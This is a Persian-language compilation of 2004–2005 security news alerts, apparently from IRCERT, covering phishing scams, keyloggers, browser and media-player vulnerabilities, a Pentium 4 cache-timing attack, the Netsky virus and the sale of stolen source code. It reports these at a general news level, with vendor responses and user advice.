این زبان می تواند با تعامل با یک دیتابیس و تولید صفحات وب بر اساس کلیک کردن کاربران ، برای کنترل محتوای یک سایت به کار رود. PHP به عنوان یک زبان برنامه نویسی انعطاف کافی جهت انجام بسیاری از وظایف و اعمال را دارد. یک وب سرور باید برنامه پردازشگر PHP را اجرا کند تا بتواند هر صفحه دارای این زبان را به خوبی تفسیر کند.

علاوه بر این حفره مهم، شش مشکل امنیتی دیگر نیز در راهنمایی امنیتی ارائه شده توسط Hardened-PHP مشخص شده است.


﻿ IRCERT - نفوذ هکرها به حفره پنتیوم 4 - اخبارها و هشدارها

نفوذ هکرها به حفره پنتیوم 4

16 مه 2005 - 26 اردیبهشت 1384

فناوری به کار گرفته شده در پردازنده های پنتیوم 4 به هکرها اجازه می دهد تا کلمات عبور را با خواندن footprint در حافظه نهان ( cache ) سرقت کنند.

به گفته یک دانشجوی دکترا از کانادا، فناوری Hyperthreading که در پردازنده های پنتیوم 4 توسط اینتل معرفی شد، به هکرها اجازه می دهد تا به اطلاعات امنیتی دسترسی پیدا کنند. این فناوری با استفاده از دو رشته فعالیت همزمان روی یک پردازنده باعث می شود سرعت اجرای نرم افزار بیشتر شود.

این حمله مبتنی بر یک پردازه جاسوس است که روی سرور نصب می شود و حافظه نهان L2 را با یک پردازه رمزنگاری OpenSSL به اشتراک می گذارد. این پردازه جاسوس زمان صرف شده برای عملیات مختلف حافظه نهان را مشاهده می کند و استنباط می کند که پردازه دیگر چه کاری انجام می دهد( این دانشجو نام این کار را خواندن اثر پا یا footprint گذارده است.) و اطلاعاتی را به دست می آورد که می تواند به شکستن کلمه عبور مورد نظر کمک کند.

اینتل که در ماه مارس از وجود این مشکل مطلع شده بوده است، میزان خطر را بسیار پایین می داند. اینتل معتقد است که این حمله تنها روی سروری قابل انجام است که پیش از این مورد مصالحه قرار گرفته و یک هکر توانسته است یک پردازه جاسوس روی آن نصب کند. اگر هکر این کار را انجام داده باشد، راههای راحت تر و سریعتری برای سرقت داده وجود دارد.

اینتل همچنین خاطر نشان کرده است که این حمله تنها به پردازنده های اینتل و فناوری hyperthreading مختص نمی شود و هر پردازنده دیگری را که منابع را به اشتراک می گذارد نیز در خطر قرار می دهد. این شرکت انتظار دارد که نسخ آتی سیستم عاملهای لینوکس و ویندوز این مشکل را برطرف کنند.


﻿ IRCERT - هویت ربایان به دنبال دوستداران فوتبال - اخبارها و هشدارها

هویت ربایان به دنبال دوستداران فوتبال

28 سپتامبر 2005 – 6 مهر 1384

فیفا هشدار داد که طی این هفته تعدادی کلاه بردار اینترنتی از نام این سازمان جهت انجام حملات هویت ربایی استفاده کرده اند.

فیفا اعلام کرد که ایمیلهایی در حال انتشار است که مدعی است از سوی کمیته فوتبال این سازمان ارسال شده است. این ایمیلها که ظاهری بسیار رسمی دارند، به دریافت کننده ایمیل اطلاع می دهند که در یک بخت آزمایی برنده شده است و از وی می خواهند تا اطلاعات شخصی مانند شماره حساب بانکی را برای آنها ارسال کند.

فیفا اعلام کرده است که این بخت آزمایی ها هیچ ارتباطی با این سازمان ندارد.

پیش از این با نزدیک شدن زمان جام جهانی، متخصصین درباره حملات این چنین هشدار داده بودند.


﻿ IRCERT - اخبار و هشدارها - Yahoo Messenger هویت ربایان و حمله به

هویت ربایان و حمله به Yahoo Messenger

۲۴ مارس ۲۰۰۵ – ۴ فروردین ۱۳۸۴

هویت ربایان Yahoo Messenger را هدف قرار داده اند و سعی دارند نامهای کاربری، کلمات عبور و سایر اطلاعات شخصی را سرقت کنند.

امروز یاهو تایید کرد که هدف این حملات قرار گرفته است. بنا به گفته این شرکت، هکرها یک پیغام حاوی لینکی به یک وب سایت قلابی را برای کاربران ارسال می کنند. این سایت قلابی که شبیه سایت رسمی یاهو است، از کاربر می خواهد تا با وارد کردن نام کاربری و کلمه عبور login کنند.

این حیله کاملا قانع کننده به نظر می رسد چون در ظاهر پیغام از طرف یکی از کاربران لیست دوستان قربانی برای وی ارسال شده است. اگر قربانی فریب بخورد و اطلاعات خود را وارد کند، هکرها می توانند به تمامی اطلاعات شخصی فرد که در پروفایل وی ذخیره شده و همچنین لیست تماس و لیست دوستان وی دسترسی پیدا کنند.

بنابه گفته سخنگوی یاهو این حمله گسترده نبوده اما کاربران باید مراقب باشند.

در ماه گذشته MSN Messenger توسط یک نرم افزار خطرناک شامل یک ویروس و یک اسب تروا مورد حمله قرار گرفت. کارشناسان معتقدند از آنجایی که این مسنجر بیشترین کاربر را دارد، هدف حملات بیشتری قرار می گیرد.


﻿ IRCERT - سرورها، هدف بعدی هویت ربایان - اخبارها و هشدارها DNS

DNS سرورها، هدف بعدی هویت ربایان

8 مارس 2005 - 18 اسفند 1383

متخصصان امنیتی این هفته هشدار دادند که سارقان آنلاین برای فریفتن قربانیان خود و هدایت آنها به سایتهای خطرناک به روشهای فعالتری روی آورده اند.

این هشدار پس از آن منتشر شد که که در روز 4 مارس گزارشی درباره هدایت کامپیوتر کاربران از سایتهایی مانند eBay و گوگل به سایتهای خطرناکی که قصد نصب نرم افزارهای جاسوسی دارند، ارائه شد و این مشکل 30 تا 40 شبکه را تحت تاثیر قرار داد. البته گفته می شود میزان گستردگی آلودگی زیاد نبوده است.

این حملات در واقع DNS سرورها را هدف قرار داده بود وهکرها بدینوسیله نشانی عددی سایتهای مشهور را با سایتهای خطرناک عوض کرده بودند. این حمله که به مسموم کردن ( Poisoning )‌DNS مشهور است، باعث می شود کاربران از سایتهای مشهور و قابل اعتماد به سایتهای خطرناک و در واقع دام هکرها هدایت شوند. بعضی شرکتهای امنیتی این تکنیک آلوده سازی و فریب کاربران را Pharming نامیده اند.

متخصصان هشدار داده اند که حملات هویت ربایی در آتی تقریبا غیرقابل تشخیص خواهد بود و کاربران تصور خواهند کرد که به یک سایت واقعی و مورد اعتماد وارد شده اند.

هنوز علت دقیق این آلودگی مشخص نشده است.


﻿ IRCERT - روشهای جدید هویت ربایی - اخبارها و هشدارها

روشهای جدید هویت ربایی

4 مه 2005 - 14 اردیبهشت 1384

بنابر گزارش منتشر شده توسط شرکت Websense، هویت ربایان از شیوه های جدیدی جهت سرقت اطلاعات حساس کاربران استفاده می کنند.

محققان شرکت Websense متوجه شده اند که در ماههای اخیر افزایش چشمگیری در طرحها و توطئه هایی که مبتنی بر برنامه های Keylogger است، رخ داده است. این فناوری که درواقع به ثبت کلیدهای فشرده شده توسط کاربر کامپیوتر آلوده می پردازد، می تواند به هویت ربایان کمک کند تا یک قدم پیش باشند. در گذشته اکثر حملات هکرها مبتنی بر ایمیلهایی بود که سعی داشت تا کاربران را فریب دهد و به سایتهای خطرناک راهنمایی کند و در آنجا با ارائه سایتهای قلابی، اطلاعات حساس فرد مانند نام کاربری و کلمه عبور را بگیرد. پیامها و ایمیلها به گونه ای تهیه می شدند که به نظر می آمد از طرف بانک یا طرف مورد اعتماد دیگری ارسال شده اند.

برنامه های Keylogger مشخصا به گونه ای طراحی شده اند که نامهای کاربری و کلمات عبور حسابهای بانکی را ثبت می کنند و برای هکرها ارسال می نمایند. آنها معمولا از حفره های موجود در مرورگر IE سوء استفاده می کنند.

Websense در هر هفته از ماه فوریه و مارس، 10 نوع Keylogger جدید و 10 سایت جدید که کامپیوترها را با این انواع جدید Keylogger آلوده می کردند، شناسایی کرده است. این رشد از ماههای نوامبر و دسامبر آغاز شده است. در آن زمان متخصصان امنیتی این شرکت در هر هفته به طور متوسط با 2 نمونه برنامه جدید و 10 تا 15 سایت جدید مواجه می شدند.

کاربران به راحتی سیستم خود را به برنامه های Keylogger آلوده می کنند، کافی است یک فایل الحاقی به ایمیل آلوده را باز کنند، برنامه ای را دریافت کنند و یا به یک سایت تقلبی وارد شوند.

هویت ربایان اخیرا به استفاده از پیام فوری ( Instant Messaging ) و یا اشکالات تایپی (مانند سایت گوگل ) نیز روی آورده اند.


﻿ IRCERT - هویت ربایی در مرورگرهای غیرمایکروسافتی - اخبارها و هشدارها

هویت ربایی در مرورگرهای غیرمایکروسافتی

7 فوریه 2005 - 19 بهمن 1383

یک محقق هشدار داده است که یک نقطه ضعف در استاندارد مدیریت character ser خاص در نام دامنه ها، می تواند به یک هکر اجازه دهد تا روی مرورگرهای غیرمایکروسافتی سایتهای تقلبی را به جای سایتهای واقعی معرفی کند.

به گفته اریک یوهانسون - متخصص امنیت - این مشکل از آنجا ناشی می شود که این مرورگرها برای ارائه نام دامنه ها از شیوه ای استاندارد استفاده می کنند و حروف و کاراکترها را در هر زبانی نمایش می دهند. این استاندارد که Internationalized Domain Names نام دارد به شرکتها اجازه می دهد تا نام دامنه هایی را ثبت کنند که به نظر می رسد در زبانهای مختلف یکسان هستند.

یک هکر می تواند با استفاده از این خصوصیت یک سایت تقلبی بسازد و هویت ربایی انجام دهد. در مرورگرهای غیرمایکروسافتی مانند Opera، Mozilla و Firefox نشانی سایت تقلبی به نظر همان نشانی سایت واقعی خواهد بود که کاربر را به جای سایت حقیقی و مورد اعتماد به سایت هکر رهنمون کند تا اطلاعات حساس وی را به سرقت ببرد.

بنیاد موزیلا به دنبال راهی است که بتواند این مشکل را برای همیشه برطرف کند.

از آنجایی که می توان به زبانهای مختلف دامنه ثبت کرد و مرورگرها روشهای گوناگونی برای نمایش آن دارند و در character set گوناگون حروف و کاراکترهای مختلفی شبیه به انگلیسی وجود دارد، لذا به راحتی می توان کاربران را با دامنه ای کاملا شبیه به دامنه واقعی فریب داد.

مایکروسافت هنوز امکان پشتیابنی از IDN را برای مرورگر خود تعبیه نکرده است و لذا در معرض این خطر قرار ندارد.


﻿ IRCERT - اخبار و هشدارها - IE حفره ای برای هویت ربایی در

حفره ای برای هویت ربایی در IE

17 دسامبر 2004 - 27 آذر 1383

مایکروسافت در حال بررسی گزارشهایی است که نشان می دهند وجود یک مشکل جدید امنیتی در IE باعث می شود کاربرانی که از امن ترین نسخه ویندوز استفاده می کنند در خطر حمله phishing یا هویت ربایی قرار گیرند.

این شرکت امروز اعلام کرد که گزارشهای رسیده از شرکت امنیتی Secunia و سایر شرکتها نشان می دهد که یک حفره امنیتی در IE6 به هکرها اجازه می دهد تا حملات هویت ربایی را علیه امن ترین ویندوزها - که SP2‌بر روی آنها نصب شده است - و نسخ قدیمی تر این سیستم عامل انجام دهند. معمولا حملات phishing از سایتهایی قلابی اما شبیه به سایتهای اصلی شرکتها یا بانکها استفاده می کنند تا اطلاعات شخصی افراد مانند شماره کارت اعتباری را سرقت کنند.

به گفته Secunia این حفره امنیتی به سارقین اجازه می دهد سایتی ایجاد کنند که تشخیص آن از سایت واقعی بسیار مشکل است و حتی یک گواهی امضای SSL قلابی نیز دارد. از آنجایی که از این حفره نمی توان جهت دسترسی به شبکه های کامپیوتری استفاده کرد، Secunia درجه خطر آن را moderately critical ذکر کرده است.

مایکروسافت اعلام کرده است که تا به حال گزارشی درباره حمله از طریق این حفره دریافت نکرده است. این شرکت در حال بررسی حفره کشف شده است تا بسته به نیاز اصلاحیه مربوطه را در برنامه ماهانه انتشار اصلاحیه ها و یا خارج از آن منتشر کند.

Secunia در راهنمایی امنیتی خود اشاره کرده است که یک اشکال در DHTML Edit ActiveX control باعث می شود که این حفره بروز کند. به کاربران توصیه شده است که تا زمان انتشار اصلاحیه، پشتیبانی ActiveX را روی سیستم خود غیرفعال کنند.


﻿ IRCERT - هویت ربایی با وبلاگهای قلابی - اخبارها و هشدارها

هویت ربایی با وبلاگهای قلابی

12 آوریل 2005 - 23 فروردین 1384

شرکت امنیتی Websense هشدار داد که نوع جدیدی از حملات هویت ربایی با سوء استفاده از رشد و محبوبیت وبلاگها در حال شکل گرفتن است.

Websense در گزارش اخیر خود اشاره کرده است که ویروس نویسان سعی دارند با ارسال ایمیل و پیام فوری به کاربران، آنها را فریب دهند و به دیدن وبلاگهای خطرناکی که آماده کرده اند، تشویق کنند. هنگامی که فردی وارد وبلاگ شود - این وبلاگ می تواند روی یک سایت میزبان قانونی قرار داشته باشد. - کامپیوتر قربانی به نرم افزاری آلوده می شود که برای سرقت اطلاعات حساس مانند کلمات عبور و اطلاعات حساب بانکی استفاده می شود.

دان هوبارد - مدیر ارشد بخش تحقیقات فناوری و امنیت Websense - در بیانیه ای می گوید:“ این وبلاگها از جمله سایتهایی نیستند که فرد به صورت تصادفی وارد آنها شود و کامپیوترش را آلوده کند. در واقع موفقیت این حملات بستگی به سطح مهندسی اجتماعی مورد استفاده دارد که بتواند فرد را قانع کند تا روی لینک کلیک کند.“

Websense در چهار ماه گذشته صدها مورد را یافته است که از وبلاگ برای سرقت اطلاعات و آلوده سازی کامپیوترها استفاده می شود. به نظر می رسد دلیل استفاده ویروس نویسان از وبلاگ تنها شهرت این رسانه نیست بلکه وجود فضای رایگان که میزبانان وبلاگ در اختیار قرار می دهند و همچنین عدم وجود امکانات حفاظتی کافی در این میزبانان، دلایل دیگری است که ویروس نویسان را به این کار تشویق می کند.

Websense اعلام کرده است که تا به حال 210 وبلاگ قلابی فعال را یافته است. این شرکت خاطر نشان کرده است که طول عمر متوسط این وبلاگها 3 تا 4 روز است.

اخیرا Websense ایمیلی را یافت که سعی داشت تا کاربران را فریب دهد و آنها را به وبلاگی هدایت کند که یک اسب تروا را منتقل می کند. این ایمیل در ظاهر از یکی از شرکتهای معروف ارائه دهنده خدمات IM ارسال شده بود و سعی داشت تا دریافت کننده را قانع کند روی لینکی کلیک کند و نسخه جدید برنامه IM را دریافت کند. اما هنگامی که کاربر روی این لینک کلیک می کرد، به وبلاگی هدایت می شد که یک نرم افزار ثبت کلیدهای فشرده شده (keystroke-logging ) روی آن قرار داشت و کلمات عبور کاربران را سرقت می کرد.


﻿ IRCERT - یک فناوری برای تایید هویت کاربر و کامپیوتر - اخبارها و هشدارها

یک فناوری برای تایید هویت کاربر و کامپیوتر

28 آوریل – 9 اردیبهشت

شرکت Phoenix که یکی از بزرگترین تولیدکنندگان نرم افزار BIOS ( Basic Input/Output System ) است ، اعلام کرده است که با کمک یک فناوری امنیتی به مدیران شبکه اجازه می دهد تا تجهیزات سخت افزاری را تایید هویت کنند. این فناوری که امروز در لندن و در نمایشگاه امنیت اطلاعات اروپا ارائه شد، این امکان را فراهم می آورد تا از سخت افزار همراه با یک سیستم سنتی login استفاده شود و بدین طریق کاربر و سخت افزار مورد استفاده جهت ارتباط با شبکه تایید هویت شوند.

شیوا ماندالام – مدیر بازاریابی محصولات امنیتی phoenix – در این باره می گوید که TrustConnector (این محصول جدید) به شرکتها اجازه می دهد تا سطح کنترل دسترسی را بیشتر از نام کاربری و کلمه عبور نمایند. همچنین این فناوری کامپیوتری را که به شبکه متصل می شود نیز تایید هویت می کند.

TrustConnector یک کلید رمزنگاری را با استفاده از اطلاعات جمع آوری شده از پروفایل سخت افزار تولید می کند و آن کلید در هنگام برقراری یک ارتباط بر روی شبکه ارسال می شود.اگر سخت افزار تایید هویت شود ، کاربر با استفاده از نام کاربری و کلمه عبور ، کارت هوشمند یا token تایید هویت می شود و به شبکه متصل می شود. از آنجایی که پروفایل ماشینهای مختلف متفاوت خواهد بود ، لذا اگر شخصی سعی کند تا از ماشین دیگری به شبکه متصل شود ، این امر تشخیص داده می شود و دسترسی محدود یا ممنوع می شود.


﻿ IRCERT - هم کاربران را با خطر مواجه کرد - اخبارها و هشدارها RealPlayer

RealPlayer هم کاربران را با خطر مواجه کرد

8 آوریل – 20 فروردین

شرکت RealNetworks یک اصلاحیه امنیتی برای رفع مشکل موجود دریک Plug-in نرم افزار RealPlayer این شرکت ارائه کرده است.یک هکر می تواند با کمک این حفره امنیتی ، کنترل کامپیوترهایی را که یکی از نسخ مختلف این نرم افزار را اجرا می کنند ،‌بدست گیرد.

مشکل شامل یک سرریز بافر است که R3T media plug-in را تحت تاثیر قرارمی دهد. کاربرانی که این Plug-in را دریافت کرده اند و از یکی از نسخ RealPlayer استفاده می کنند ، در معرض خطر حمله یک هکر قرار دارند. تنها کاربرانی که از RealPlayer 10 Gold استفاده می کنند از این خطر مصون هستند چون این نسخه در هنگام نصب plug-in را بر می دارد.

RealNetworks اعلام کرده است که هیچ گزارشی مبنی بر نفوذ به رایانه ها از طریق این حفره دریافت نکرده است که این نشان از درصد پایین کاربرانی ایت که از این plug-in استفاده می کنند. اما با این وجود این شرکت به همه مشکلات امنیتی کوچک و بزرگ اهمیت می دهد.

شرکت RealNetworks در ماه فوریه سه مشکل امنیتی مشابه را در نرم افزارهای خود یافته بود. برای رفع این مشکل و کسب اطلاعات بیشتر می توانید به اینجا مراجعه کنید.


﻿ IRCERT - اخبار و هشدارها - IE تبلیغات با کمک حفره های

تبلیغات با کمک حفره های IE

9 ژوئن – 20 خرداد

یک شرکت تبلیغات اینترنتی از دو حفره امنیتی موجود در مرورگر IE استفاده کرده است تا یک ابزار تبلیغاتی را روی کامپیوترهای قربانی نصب کند و تبلیغات pop-up را به نمایش بگذارد.

یکی از حفره ها به هکر اجازه می دهد تا برنامه ای را روی کامپیوترها هدف اجرا کند و حفره دیگر به کدهای خطرناک اجازه می دهد تا با اختیاراتی بیش از معمول اجرا شود. با استفاده از این دو حفره می توان سایتی ایجاد کرد که با مراجعه کاربران به آن ،‌ برنامه های مورد نظر روی سیستم آنها نصب شود. استفان تولوز – مدیر برنامه امنیتی مایکروسافت – معتقد است که درصورت استفاده شرکتهای تبلیغاتی از این حفره ها برای ورود نرم افزارهایشان – adwares – زمینه ای برای کارهای مجرمانه ایجاد می شود. وی می گوید:" هرگونه استفاده از حفره های امنیتی جهت اجرای یک برنامه ، یک عمل مجرمانه است. ما سعی داریم تا با هماهنگی با مجریان قانون ، هر فرد یا شرکتی را که مبادرت به انجام چنین کاری کند ، تحت پیگرد قانونی قرار دهیم."

مایکروسافت زمانی از این قضیه آگاه شد که یک محقق امنیتی تحلیلی از مشکل را روی یک
Mailing list فرستاد. بنا به گفته تولوز ، مایکروسافت با FBI تماس گرفته و مراحل اولیه تشکیل پرونده را می گذراند. همچنین این شرکت سعی دارد تا هرچه سریعتر اصلاحیه مربوطه را ارائه کند و تا زمان برنامه به روز رسانی ماهانه صبر نکند.

مشخص شده است که از این حفره ها برای نصب ابزار جستجوی I-Lookup استفاده شده است. بنا بر راهنمایی امنیتی ارائه شده در سایت شرکت Symantec ، این ابزار صفحه خانگی IE را تغییر می دهد ، به یکی از شش سایت تبلیغاتی متصل می شود و تبلیغات pop-up پورنو را مرتبا نمایش می دهد.

روز 19 خرداد ، شرکت امنیت اطلاعات Secunia یک راهنمایی امنیتی را درباره این مشکل ارائه کرده است و درجه خطر این دو حفره را بسیار بحرانی یا "extremely critical" ذکر کرده است. در این راهنمایی آمده است که حفره ها در یک سیستم با مرورگر IE 6.0 که تمامی اصلاحیه ها روی آن نصب شده اند ، نیز وجود دارد. گزارش شده است که Service Pack 2 با این مشکل مقابله می کند.

از آنجایی که کد خطرناک مورد نظر بر روی اینترنت و در اختیار همه کاربران قرار گرفته است لذا کارشناسان معتقدند ساختن سایت و ارسال لینک آن توسط افراد آماتور نیز انجام پذیر است.

استفان تولوز معتقد است که کاربران IE می توانند با مراجعه به سایت مایکروسافت و انجام دستورات ارائه شده ، نفوذپذیری این نرم افزار را در برابر این گونه حملات کم کنند. مرورگرهای دیگر مانند Opera و Mozilla دارای این حفره های امنیتی نیستند.


﻿ IRCERT - برنامه ای برای سرقت کلمات عبور - اخبارها و هشدارها

برنامه ای برای سرقت کلمات عبور

29 ژوئن 2004 – 9 تیر 1383

محققان امنیتی امروز هشدار دادند که یک برنامه خطرناک که خود را از طریق یک pop-up نصب می کند ،‌ می تواند هنگام مراجعه کاربران به حدود 50 سایت بانکی کلیدهای فشرده شده را بخواند و کلمات عبور را سرقت کند. سایتهای موسسات مالی بزرگ مانند Citibank ، Barclays Bank و Deutsche Bank از جمله سایتهای هدف هستند.

مارکوس ساچز – مدیر مرکزی که تهدیدهای اینترنتی را مانیتور می کند – در این باره می گوید :‌“ هنگامی که برنامه تشخیص دهد که شما در یکی از این سایتها هستید ، شروع به ثبت کلیدهای فشرده شده می کند.“ با وجودی که تمام سایتهای مالی از رمزنگاری مجمتمع در مرورگر استفاده می کنند تا داده وارد شده را حفاظت کنند ، برنامه اسب تروا می تواند اطلاعات را پیش از رمزشدن بردارد. چون اطلاعات بین صفحه کلید و کامپیوتر رمز نمی شود بلکه هنگام قرار گرفتن روی وب عملیات رمزنگاری انجام می پذیرد.

ساچز می گوید که این اسب تروا برای اولین بار روی کامپیوتر یکی از کارمندان یکی از شرکتهای بزرگ dot com کشف شده است. این برنامه با کمک یک تبلیغ pop-up و با استفاده از حفره امنیتی موجود در IE توانسته بود روی کامپیوتر قربانی خود را نصب کند. مایکروسافت می گوید که به زودی اصلاحیه مربوطه را ارائه خواهد کرد اما تا پیش از آن بهتر است کاربران تنظیمات امنیتی مرورگر خود را بالا ببرند و درجه آن را به high افزایش دهند.

دو مشکل امنیتی دیگر نیز در ماه جاری در IE کشف شده بود که اولی باعث بروز آلودگی از طریق سایتها شده بود و دیگری یک toolbar را روی کامپیوترهای قربانی نصب می کرد. اسب تروای جدید با حمله نرم افزاری وب سایتها در هفته گذشته متفاوت است اما این دو می توانند با هم مورد استفاده قرار گیرند و نرم افزارهای جاسوسی را گسترش دهند.

محققان فایل اسب تروا را که img1big.gif نام دارد، مورد بررسی قرار داده اند. آنها با استفاده از مهندسی معکوس متوجه شده اند که این برنامه لیستی طولانی از بانکها را هدف قرار داده و سعی کرده است تا اطلاعات حساب مشتریان این موسسات مالی را سرقت کند. از آنجایی که پسوند این فایل gif است ،‌اسب تروای مزبور می تواند خود را به جای یک فایل گرافیکی معمولی جا بزند.اما در واقع دو برنامه وجود دارد: یک فایل helper مرورگر که به طرز مشکوکی نام کاربران و کلمات عبور آنها را سرقت می کند و یک file dropper که یک برنامه ثبت کلیدهای فشرده شده را روی کامپیوتر قربانی نصب می کند. بنابه گفته ساچز اولین فایل خود را با کمک یک حفره قدیمی IE اجرا می کند و دومین فایل از مشخصه موجود در بسیاری از مرورگرها که helper files نام دار استفاده می کند تا داده را در اختیار بگیرد. وی می گوید :“ پیش از مرور داده توسط مرورگر ، یک فیال helper می تواند آن را مورد پردازش قرار دهد. در این روش از همین خصوصیت که در همه مرورگرها وجود دارد استفاده شده است.“

هنگامی که اطلاعات برداشته شد ، توسط برنامه ای که روی سرور اینترنت قرار دارد رمز می شود و برای هکرها فرستاده می شود.


﻿ IRCERT - پرتغالی با درجه خطر متوسط - اخبارها و هشدارها Netsky

Netsky پرتغالی با درجه خطر متوسط

14 اکتبر 2004 - 23 مهر 1383

شکارچیان ویروس در McAfee نسخه جدیدی از ویروس Netsky را شناسایی کرده اند و درجه خطر آن را متوسط اعلام کرده اند.

این نسخه که W32/Netskyag@MM نام دارد، همانند نسخ قبلی این ویروس از طریق ایمیل خود را منتشر می کند و سپس در فایلهای گوناگونی در دایرکتوری ویندوز خود را نصب می کند. پس از آلوده سازی کامپیوتر قربانی، این ویروس با استفاده از نشانی های ایمیل موجود بر روی آن کامپیوتر ایمیلهایی را برای سایرین ارسال می کند و بدین طریق گسترش پیدا می کند.

تفاوت این نسخه با نسخ قبلی در آن است که در هنگام ارسال خود از فناوری های فشرده سازی دیگری استفاده می کند و لذا روند تشخیص آن مشکل تر است.

موضوع ایمیلهای ارسالی متفاوت است و تا به حال 30 موضوع گوناگون شناسایی شده است. به نظر می رسد اکثر آنها به زبان پرتغالی یا نزدیک به آن باشند. معمولا موضوع شامل عبارتهای "algo a mais" و "tudo sobre voce sabe." است. متن ایمیل و فایل الحاقی نیز متغیر است.

بنا به گفته McAfee یکی از منابع ارسال ایمیلهای آلوده برزیل است. اطلاعات بیشتر درباره این ویروس را می توان در سایت این شرکت یافت.

پیش از این سون جاشان - جوان 18 ساله ای که متهم به نوشتن ویروس Netsky است - دستگیر شده و منتظر برگزاری دادگاه است.


﻿ IRCERT - اخبار و هشدارها- Service Pack 2 مشکلات

مشکلات Service Pack 2

18 آگوست 2004 – 28 مرداد 1383

متخصصان امنیتی می گویند که مشکلاتی را در آخرین به روز رسانی امنیتی مایکروسافت برای ویندوز XP ، یعنی Serivce Pack 2 ، یافته اند.

هفته گذشته شرکت آلمانی Heise Security اعلام کرد که وجود دو مشکل در SP2 باعث می شود که امکان اجرای برنامه های غیرقابل اعتماد به وجود آید و یک هکر بتواند کدی را روی کامپیوتر قربانی اجرا کند.

اما پس از آن اخبار دیگری نیز در این باره منتشر شد. Thor Larholm – یک کارشناس ارشد امنیتی – از زمان انتشار SP2 در حال بررسی آن بوده است و مایکروسافت را از چندین اشکال موجود در آن مطلع کرده است اما درباره جزئیات آنها چیزی نمی گوید.

وی می گوید:“ ما طی چند هفته آینده مشکلات امنیتی جدی و مهمی را در SP2 خواهیم دید و کرمهای اینترنتی که طی چند ماه آینده از این اشکالات استفاده خواهند کرد.“ وی چندین دوجین مشکل امنیتی در ویندوز XP و IE طی جند سال گذشته پیدا کرده است و پیش از این در یک صفحه وب ،‌مشکلات امنیتی اصلاح نشده IE را ارائه می کرد.

مایکروسافت چیزی درباره دریافت گزارشهای مشکلات SP2 نگفته است اما اشاره کرده است که متخصصان این شرکت درحال بررسی موارد مطرح شده توسط شرکت Heise هستند.

متخصصان امنیتی همچنین هشدار داده اند که بعضی مشکلات شناخته شده در فناوری های امنیتی به کار گرفته شده در SP2 وجود دارد. برای مثال فایروال بهبود پیدا کرده است اما می تواند توسط هر برنامه درحال اجرای داخلی دور زده شود، مشکلی که اکثر حفاظهای شخصی دارند.

پیدا شدن این مشکلات باعث شده است که شرکتها در نصب این اصلاحیه تردید کنند و در انتظار ارائه نسخه کاملتر آن بمانند.

SP2 جهت افزایش امنیت سیستم عامل در اداره داده های شبکه ، حافظه برنامه ، مرور کردن وب و دریافت ایمیلها ارائه شده است که این کار را با تغییر کد و پیکربندی سیستم انجام می دهد. گیتس SP2 را وسیعترین به روزرسانی رایگان برای ویندوز می داند و مدیران مایکروسافت اعلام کرده اند که کار بر روی این اصلاحیه باعث تاخیر در انجام سایر پروژه ها مانند longhorn شده است. بد نیست بدانید که ایده SP2 آگوست سال گذشته و پس از حمله گسترده MSBlast مطرح شد اما ارائه SP2 حدود یکسال طول کشید.


﻿ IRCERT - کمی سورس کد می خرید؟ - اخبارها و هشدارها

کمی سورس کد می خرید؟

14 جولای 2004 – 24 تیر 1383

یک گروه از هکرها شروع به فروش آنلاین فایلهایی کرده اند که بنابه ادعای آنها شامل کدهای محرمانه نرم افزارها هستند. آنها همچنین گفته اند که حاضرند تا برای تهیه سورس کد یک نرم افزار سفارش قبول کنند.

به نظر می رسد فایلهای ارائه شده توسط این گروه که خود را Source Code Club نامیده ، شامل سورس نسخه قدیمی سیستم تشخیص نفوذ Enterasys Networks' Dragon و نرم افزارهای کارگزار/مشتری Napster است که به ترتیب با قیمت های 16 هزار دلار و 10 هزار دلار ارائه شده اند.

گروه برای اثبات ادعای خود مبنی بر داشتن فایلها، لیست آنها را بر روی سایت قرار داده است. به عقیده آنها ، با استفاده از ایمیل و به کمک رمزنگاری ، هویت آنها و خریدار مخفی خواهد ماند.

شخصی که خود را Larry Hobbles معرفی می کند و به ایمیلهای فرستاده شده به نشانی ایمیل داده شده پاسخ می دهد ، در جواب ایمیلی درباره مخفی ماندن مشخصات خریدار چنین می گوید :“ یک شرکت می تواند با خیالی راحت به کار با ما بپردازد چون همه اطلاعات مربوط به مشتریان ما رمزنگاری می ظود و پس از تکمیل هر تراکنش( Transaction ) با هر کاربر، تمامی رکوردهای رمزشده نیز پاک می شوند.“

بنابه گفته Roxio که Napster را خریداری کرده است ، کد ارائه شده مربوط به سرویس قبلی آن یعنی اشتراک فایل است و به سرویس فعلی که موسیقی ارائه می کند ربطی ندارد.

Enterasys نیز گفته است که با FBI تماس گرفته و درحال تحقیق درباره صحت ادعای این گروه است. این شرکت تایید نکرده است که فایلهای در اختیار گروه فایلهای اصلی است اما اشاره کرده است که با توجه به لیست فایلهای ارائه شده ، حتی اگر فایلها واقعا سرقت شده و در اختیار گروه قرار داشته باشند ، الزاما نشان از نفوذ به شبکه نیست. همچنین بنا به گفته Enterasys سورس کد موجود مربوط به دو نسل قبل نرم افزار Dragon است.

Roxio و Enterasys اولین شرکتهایی نیستند که سورس کد ‎آنها به سرقت رفته و بر روی شبکه قرار گرفته است. در ماه مه شرکت سیسکو متوجه شد که سورس کد مورد استفاده در بسیاری از محصولاتش سرقت شده است. اوایل امسال بخش بزرگی از کد ویندوز 2000 و ویندوز NT4.0 بر روی شبکه اینترنت قرار گرفت.

این گروه در سایت خود اعلام کرده است “ اگر سورس کدی از شرکتهای موجود در لیست 100 تایی Fortune را می خواهید ممکن است ما آن را داشته باشیم. اگر هم کد مورد نیاز شما در مجموعه ما موجود نباشد ،‌ آن را به قیمتش ظرف حداکثر 2 ماه برای شما تهیه می کنیم.“

به نظر می رسد این گروه برای یک کار تجاری طولانی مدت خود را آماده کرده است و تصمیم گرفته است درصورت بسته شدن سایت ،‌ اطلاعات خود را به سایت دیگری منتقل کند.


﻿ IRCERT - کد سیسکو برای فروش - اخبارها و هشدارها

کد سیسکو برای فروش

2 نوامبر 2004 - 12 آبان 1383

باشگاه سورس کد (Source Code Club ) مجددا گشایش یافت. این گروه که خود را هکر معرفی می کنند فایلهایی را ارائه کرده اند که ادعا می کنند سورس کد فایروال Pix متعلق به شرکت سیسکو است. قیمت این نرم افزار سیسکو 24 هزار دلار است.

این باشگاه در خبرنامه خود بر روی گوگل اعلام کرده است:“ SCC خوشحال است که اعلام کند سورس کد Cisco Pix 6.3.1 در اختیار عموم قرار می گیرد. این انتشار از آنجا اهمیت دارد که Pix برای امنیت بسیاری از شبکه های بسیار امن به کار می رود.“

